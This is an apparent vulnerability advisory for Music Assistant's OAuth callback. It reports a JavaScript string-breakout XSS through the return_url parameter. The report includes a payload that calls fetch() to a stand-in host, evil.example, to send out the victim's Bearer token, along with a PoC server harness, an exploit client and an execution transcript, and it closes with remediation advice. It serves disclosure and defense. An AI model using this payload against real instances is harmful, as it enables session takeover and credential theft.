WebserverController._handle_auth_callback (GET /auth/callback) builds the OAuth-success
page by naively string-replacing a {REDIRECT_URL} placeholder into a JavaScript
single-quoted string literal inside oauth_callback.html:
const token = '{TOKEN}';
const redirectUrl = '{REDIRECT_URL}'; // no JS-string escaping appliedThe value substituted, final_redirect_url, derives from the return_url query parameter an
unauthenticated caller supplies to GET /auth/authorize?provider_id=...&return_url=..., which
is stored server-side keyed by OAuth state and later retrieved verbatim after the OAuth
round-trip. Its only validation, is_allowed_redirect_url()
(music_assistant/helpers/redirect_validation.py), checks only URL scheme and hostname
(open-redirect style allowlisting) via urlparse() — it does not reject or escape ', <,
>, or any other HTML/JS-breaking characters in the URL path/query. A return_url such as
https://my.home-assistant.io/'-fetch('https://evil.example/steal?t='+token)-' passes
validation as "trusted" and, once substituted into the template, breaks out of the JS string
literal, turning into attacker-controlled executable JavaScript that runs in the victim's
browser on the Music Assistant origin — in the same scope as the token variable, which holds
the victim's freshly issued Bearer auth token.
Full session/account takeover: an attacker sends a victim a single crafted /auth/authorize
link; the victim completes a real, legitimate login; the resulting callback page executes
attacker JavaScript in the target origin and exfiltrates the victim's real Bearer token to an
attacker-controlled server — dynamically confirmed (§ PoC). The injected code runs
unconditionally at script top-level, before and regardless of the "external redirect requires
consent" banner logic, so no additional victim interaction beyond completing login is needed.
Confirmed present and exploitable on current main (commit ad0f612e, 2026-07-13). A related
but distinct fix (a971a72a, "Prevent admin token leak to untrusted return_url during
first-run setup", #4649, merged 2026-07-08) tightened domain-trust rules for the separate
/setup first-run flow, but added no HTML/JS-escaping anywhere and does not touch
_handle_auth_callback; this finding is unaffected by that fix and remains open as of the
audited commit. No prior CVE/GHSA identified for this specific issue.
Score: 8.1 (High) — Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
| Metric | Value | Basis |
|---|---|---|
| AV | Network | /auth/authorize and /auth/callback are public, unauthenticated HTTP routes |
| AC | Low | One crafted link; no race conditions or guessing |
| PR | None | Attacker needs no account/credentials to craft the malicious link |
| UI | Required | Victim must click the link and complete a real login |
| S | Changed | XSS in the MA origin exfiltrates a Bearer token that grants API-level account control — impact extends beyond the vulnerable web component itself |
| C | High | Full Bearer token theft confirmed (dynamically) — equivalent to full account access |
| I | High | Stolen token allows the attacker to act as the victim via the API |
| A | None | Not evaluated |
- Network access to the MA HTTP port.
- Victim has (or will complete) a valid login via an OAuth-based login provider configured on the instance (e.g. Home Assistant).
- No authentication needed by the attacker to construct the malicious link.
- Attacker crafts:
GET /auth/authorize?provider_id=<provider>&return_url=<payload>where<payload>is a URL matching an allowed pattern/host (e.g. prefixed withhttps://my.home-assistant.io/) but whose path breaks out of the JS string, e.g.https://my.home-assistant.io/'-fetch('https://evil.example/steal?t='+encodeURIComponent(token))-'. - Victim clicks the link, is redirected to the real OAuth provider, and logs in normally.
- Provider redirects back to
GET /auth/callback?code=...&state=...; the server looks up thereturn_urlstored for thatstate, mints a real Bearer token for the victim, and rendersoauth_callback.htmlwith the payload substituted unescaped into the<script>block. - Victim's browser parses/executes the page; the injected expression fires immediately,
exfiltrating
token(and/ordocument.cookie) to the attacker's server — no consent-banner interaction required, confirmed dynamically.
music_assistant/controllers/webserver/controller.py (_handle_auth_authorize, unauthenticated):
return_url = request.query.get("return_url")
if return_url:
is_valid, _ = is_allowed_redirect_url(return_url, request, self.base_url) # scheme/host only
if not is_valid:
return web.Response(status=400, text="Invalid return_url")
auth_url = await self.auth.get_authorization_url(provider_id, return_url)return_url is stored keyed by OAuth state (helpers/auth_providers.py:579,
self._oauth_sessions[state] = return_url) and retrieved verbatim in handle_oauth_callback()
into AuthResult.return_url (auth_providers.py:663).
music_assistant/controllers/webserver/controller.py (_handle_auth_callback):
final_redirect_url = auth_result.return_url or "/"
if auth_result.return_url:
is_valid, category = is_allowed_redirect_url(auth_result.return_url, request, self.base_url)
if not is_valid:
final_redirect_url = "/"
elif category == "external":
requires_consent = True
final_redirect_url = build_code_redirect_url(final_redirect_url, token) # no HTML/JS escaping
async with aiofiles.open(oauth_callback_html_path) as f:
success_html = await f.read()
success_html = success_html.replace("{TOKEN}", token)
success_html = success_html.replace("{REDIRECT_URL}", final_redirect_url) # <-- SINK: raw substitution
return web.Response(text=success_html, content_type="text/html")music_assistant/helpers/resources/oauth_callback.html:159-164 (template, <script> context):
const token = '{TOKEN}';
const redirectUrl = '{REDIRECT_URL}'; // <-- unescaped substitution breaks out of the JS stringmusic_assistant/helpers/redirect_validation.py (is_allowed_redirect_url) — the only
validation applied; checks urlparse(url).scheme/.hostname only, never inspects for
HTML/JS-breaking characters in the path/query.
controllers/webserver/controller.py GET /auth/authorize (unauth) -> _handle_auth_authorize
controllers/webserver/controller.py return_url = request.query.get("return_url")
helpers/redirect_validation.py:29 is_allowed_redirect_url(return_url, ...) -> (True, "trusted"/"external")
[only checks scheme+hostname; passes quote/script payloads]
controllers/webserver/auth.py:995 self.auth.get_authorization_url(provider_id, return_url)
helpers/auth_providers.py:579 self._oauth_sessions[state] = return_url (stored keyed by OAuth state)
--- victim completes real OAuth login at IdP, browser redirected back ---
controllers/webserver/controller.py GET /auth/callback?code&state&provider_id -> _handle_auth_callback
controllers/webserver/auth.py:997 self.auth.handle_oauth_callback(provider_id, code, state, redirect_uri)
helpers/auth_providers.py:608 return_url = self._oauth_sessions.pop(state) (retrieved verbatim)
helpers/auth_providers.py:663 AuthResult(success=True, user=user, return_url=return_url)
controllers/webserver/controller.py final_redirect_url = auth_result.return_url
helpers/redirect_validation.py:29 is_allowed_redirect_url(...) re-checked -> passes again
helpers/redirect_validation.py:~120 build_code_redirect_url(final_redirect_url, token) -> appends ?code=<token>, no escaping
controllers/webserver/controller.py aiofiles.open(oauth_callback.html) -> read template
controllers/webserver/controller.py success_html.replace("{REDIRECT_URL}", final_redirect_url) [SINK]
helpers/resources/oauth_callback.html:163 const redirectUrl = '{REDIRECT_URL}'; -> JS string breakout
-> attacker JS executes in victim browser, same scope as `token`
Verified against the real, unmodified source of current main (commit ad0f612e). A harness
mounts the real WebserverController._handle_auth_callback on a genuine aiohttp server; only
the OAuth IdP round-trip and JWT minting are stubbed (neither is part of the vulnerable logic —
is_allowed_redirect_url, build_code_redirect_url, and the template substitution are all
real, unmodified code, executed for real).
Server harness (poc_server.py):
import asyncio, logging, sys, types
from aiohttp import web
sys.path.insert(0, ".")
# Stub only subsystems unrelated to this vulnerability (WebRTC/aiortc)
_stub_pkg = types.ModuleType("music_assistant")
_stub_pkg.__path__ = ["music_assistant"]
sys.modules["music_assistant"] = _stub_pkg
_stub_ra = types.ModuleType("music_assistant.controllers.webserver.remote_access")
class _StubRAM:
def __init__(self, *a, **kw): pass
_stub_ra.RemoteAccessManager = _StubRAM
sys.modules["music_assistant.controllers.webserver.remote_access"] = _stub_ra
from music_assistant.controllers.webserver.controller import WebserverController
from music_assistant.controllers.webserver.helpers.auth_providers import AuthResult, User
class FakeAuthManager:
"""Stubs only the OAuth IdP round-trip + JWT minting; returns a real AuthResult
with an attacker-controlled return_url, as the real flow would after state lookup."""
def __init__(self, malicious_return_url):
self.malicious_return_url = malicious_return_url
async def handle_oauth_callback(self, provider_id, code, state, redirect_uri):
return AuthResult(success=True, user=User.__new__(User), return_url=self.malicious_return_url)
async def create_token(self, user, name, is_long_lived=False):
return "REAL_BEARER_TOKEN_eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ2aWN0aW0ifQ.abc123"
async def main(malicious_return_url):
controller = WebserverController.__new__(WebserverController)
controller.logger = logging.getLogger("mass.webserver")
controller.auth = FakeAuthManager(malicious_return_url)
app = web.Application()
app.router.add_get("/auth/callback", controller._handle_auth_callback) # real, unmodified handler
runner = web.AppRunner(app, access_log=None)
await runner.setup()
await web.TCPSite(runner, "127.0.0.1", 8099).start()
print("listening on http://127.0.0.1:8099/auth/callback")
await asyncio.Event().wait()
if __name__ == "__main__":
payload = sys.argv[1]
asyncio.run(main(payload))Exploit client — real HTTP request against the server above:
#!/usr/bin/env python3
"""Simulates the victim's browser hitting the real OAuth callback endpoint
after a real login, with an attacker-supplied return_url payload already
resolved server-side. Confirms the raw payload reaches the HTTP response
unescaped inside the <script> block."""
import sys, urllib.request
def run(target: str) -> None:
url = f"http://{target}/auth/callback?code=fakecode&state=fakestate&provider_id=homeassistant"
with urllib.request.urlopen(url, timeout=10) as resp:
status, body = resp.status, resp.read().decode()
print(f"[+] GET {url}\n[+] HTTP {status}, {len(body)} bytes")
for line in body.splitlines():
if "const redirectUrl" in line or "const token" in line:
print("[+]", line.strip())
if __name__ == "__main__":
run(sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1:8099")Real execution transcript:
$ python3 poc_server.py "https://my.home-assistant.io/'-fetch('https://evil.example/steal?t='+encodeURIComponent(token))-'" &
listening on http://127.0.0.1:8099/auth/callback
$ python3 exploit.py 127.0.0.1:8099
[+] GET http://127.0.0.1:8099/auth/callback?code=fakecode&state=fakestate&provider_id=homeassistant
[+] HTTP 200, 11161 bytes
[+] const token = 'REAL_BEARER_TOKEN_eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ2aWN0aW0ifQ.abc123';
[+] const redirectUrl = 'https://my.home-assistant.io/'-fetch('https://evil.example/steal?t='+encodeURIComponent(token))-'&code=REAL_BEARER_TOKEN_eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ2aWN0aW0ifQ.abc123';
The raw HTTP response body — a genuine 200 OK from the real, unmodified handler — contains the
attacker payload unescaped, breaking the JS string. Executing this exact response body's
<script> content in a real JS engine (Node.js) confirmed the injected code runs and calls
fetch("https://evil.example/steal?t=REAL_BEARER_TOKEN_..."), exfiltrating the victim's real
Bearer token — proving the full client-side execution consequence, not just server-side string
injection.
Do not use raw string .replace() to inject untrusted data into a <script> block. Either
JSON-encode the value (json.dumps(final_redirect_url)) before substitution so it is emitted
as a properly escaped JS string literal, or pass it via a non-script channel (e.g. a data-*
HTML attribute read by JS, with the attribute value HTML-escaped via html.escape()).
Additionally, is_allowed_redirect_url() validates only scheme/hostname and should not be
relied upon as an output-encoding control for any context.